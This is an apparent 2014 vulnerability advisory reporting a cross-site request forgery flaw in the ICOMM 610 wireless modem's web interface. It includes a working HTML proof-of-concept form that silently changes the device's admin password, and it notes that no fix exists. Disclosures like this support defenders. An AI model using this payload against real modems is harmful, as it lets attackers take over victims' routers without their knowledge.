ICOMM 610 Wireless Modem - CSRF Vulnerability

2014-04-02 13:05:03

Exploit Title : ICOMM 610 Wireless Modem CSRF Vulnerability

Google dork : N/A

Date : 02/04/2014

Exploit Author : Blessen Thomas

Vendor Homepage : http://www.icommtele.com/

Software Link : N/A

Version : ICOMM 610

Tested on : Device software version 01.01.08.991 (10/01/2010)

Type of Application : Modem Web Application

CVE : N/A

Cross Site Request Forgery

It was observed that this modem's Web Application , suffers from Cross-site

request forgery through which attacker can manipulate user data via sending
him malicious craft url.

At attacker could change the password of the victim's account without the
victim's knowledge as the

application is not having a security token implemented.

The Modem's application is not using any security token to prevent it
against CSRF. You can manipulate any userdata. PoC and Exploit to change
user password: In the POC the IP address in the POST is the modems IP
address.

<html>

<body>
<form action="http://192.168.1.1/cgi-bin/sysconf.cgi?page=personalize_password.asp&sid=rjPd8QVqvRGX×tamp=1396366701157" method="POST">
<input type="hidden" name="PasswdEnable" value="on" />
<input type="hidden" name="New_Passwd" value="test" />
<input type="hidden" name="Confirm_New_Passwd" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Fixes

No fixes

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